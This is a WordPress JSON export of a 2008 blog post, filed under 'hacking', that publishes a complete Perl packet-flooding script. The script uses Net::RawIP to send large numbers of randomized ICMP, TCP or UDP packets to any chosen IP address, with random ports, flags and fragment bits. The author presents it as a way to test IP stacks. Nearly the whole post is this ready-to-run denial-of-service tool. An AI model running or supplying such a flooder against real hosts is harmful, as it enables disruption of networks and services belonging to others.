{"id":48,"date":"2008-11-04T16:03:00","date_gmt":"2008-11-04T16:03:00","guid":{"rendered":"https:\/\/freezion.com\/2008\/11\/04\/packet-flooder-script\/"},"modified":"2008-11-04T16:03:00","modified_gmt":"2008-11-04T16:03:00","slug":"packet-flooder-script","status":"publish","type":"post","link":"https:\/\/freezion.com\/?p=48","title":{"rendered":"Packet Flooder Script"},"content":{"rendered":"<p>I considered for a while whether or not to post this here.<br \/>\nUltimately I decided to go ahead and do it for a couple of reasons:<\/p>\n<p>1. This isn&#8217;t anything special, there are myriad similar (or better) tools out there that do the same thing.<br \/>\n2. It is actually useful for testing IP stacks on various devices.<\/p>\n<p>And so, here it is, a perl based packet flood script.<br \/>\nIt&#8217;s got a few things that make it interesting:<\/p>\n<p>1. Ports are chosen randomly for TCP and UDP.<br \/>\n2. ICMP type codes are chosen randomly.<br \/>\n3. TCP flags are chosen randomly.<br \/>\n4. The fragment bit is un\/set randomly.<\/p>\n<pre>#!\/usr\/bin\/perl -w\n# =================================================\n# simple network flooder script\n# takes type of flood (icmp, tcp, udp) as param\n# optionally takes dest ip and packet count\n# =================================================\nmy $VERSION = 0.5;\n# =================================================\nuse strict;\nuse Net::RawIP;\n\nmy $flood = shift or &amp;usage();\nmy $dstip = shift || '127.0.0.1';\nmy $pktct = shift || 100;\n\n&amp;icmpflood($dstip, $pktct) if $flood =~ 'icmp';\n&amp;tcpflood($dstip, $pktct) if $flood =~ 'tcp';\n&amp;udpflood($dstip, $pktct) if $flood =~ 'udp';\n\nsub icmpflood() {\n   my($dstip, $pktct, $code, $type, $frag);\n   $dstip = shift;\n   $pktct = shift;\n\n   print \"nstarting flood to $dstipn\";\n   for(my $i=0; $i &lt;= $pktct; $i++) {\n\n      $code = int(rand(255));\n      $type = int(rand(255));\n      $frag = int(rand(2));\n\n      my $packet = new Net::RawIP({\n         ip =&gt; {\n            daddr =&gt; $dstip,\n            frag_off =&gt; $frag,\n         },\n         icmp =&gt; {\n            code =&gt; $code,\n            type =&gt; $type,\n         }\n      });\n\n      $packet-&gt;send;\n      print \"sent icmp $type-&gt;$code, frag: $fragn\";\n   }\n   print \"nflood completenn\";\n}\n\nsub tcpflood() {\n   my($dstip, $pktct, $sport, $dport, $frag, $urg, $psh, $rst, $fin,\n$syn, $ack);\n   $dstip = shift;\n   $pktct = shift;\n   print \"nstarting flood to $dstipn\";\n   for(my $i=0; $i &lt;= $pktct; $i++) {\n\n      $sport = int(rand(65535));\n      $dport = int(rand(65535));\n      $frag = int(rand(2));\n      $urg = int(rand(2));\n      $psh = int(rand(2));\n      $rst = int(rand(2));\n      $fin = int(rand(2));\n      $syn = int(rand(2));\n      $ack = int(rand(2));\n\n      my $packet = new Net::RawIP({\n         ip =&gt; {\n            daddr =&gt; $dstip,\n            frag_off =&gt; $frag,\n         },\n         tcp =&gt; {\n            source =&gt; $sport,\n            dest =&gt; $dport,\n            urg =&gt; $urg,\n            psh =&gt; $psh,\n            rst =&gt; $rst,\n            fin =&gt; $fin,\n            syn =&gt; $syn,\n            ack =&gt; $ack,\n         }\n      });\n\n      $packet-&gt;send;\n      print \"sent tcp packet from $sport to $dport, frag: $frag, psh:\n$psh, rst: $rst, fin: $fin, syn: $syn, ack: $ackn\";\n   }\n   print \"nflood completenn\";\n}\n\nsub udpflood() {\n   my($dstip, $pktct, $sport, $dport, $frag);\n   $dstip = shift;\n   $pktct = shift;\n\n   print \"nstarting flood to $dstipn\";\n   for(my $i=0; $i &lt;= $pktct; $i++) {\n\n      $sport = int(rand(255));\n      $dport = int(rand(255));\n      $frag = int(rand(2));\n\n      my $packet = new Net::RawIP({\n         ip =&gt; {\n            daddr =&gt; $dstip,\n            frag_off =&gt; $frag,\n         },\n         udp =&gt; {\n            source =&gt; $sport,\n            dest =&gt; $dport,\n         }\n      });\n\n      $packet-&gt;send;\n      print \"sent udp packet from $sport to $dport, frag: $fragn\";\n   }\n   print \"nflood completenn\";\n}\n\nsub usage() {\n   print \"\nneed to set a valid flood type (one of icmp, tcp, udp)\noptionally set dest ip and packetcount\n\nexample:\n\n   $0 [tcp udp icmp]  nn\";\n   exit 0;\n}<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>I considered for a while whether or not to post this here. Ultimately I decided to go ahead and&hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2,5],"tags":[42,52],"class_list":["post-48","post","type-post","status-publish","format-standard","hentry","category-hacking","category-tech","tag-net","tag-skiddy"],"_links":{"self":[{"href":"https:\/\/freezion.com\/index.php?rest_route=\/wp\/v2\/posts\/48","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/freezion.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/freezion.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/freezion.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/freezion.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=48"}],"version-history":[{"count":0,"href":"https:\/\/freezion.com\/index.php?rest_route=\/wp\/v2\/posts\/48\/revisions"}],"wp:attachment":[{"href":"https:\/\/freezion.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=48"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/freezion.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=48"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/freezion.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=48"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}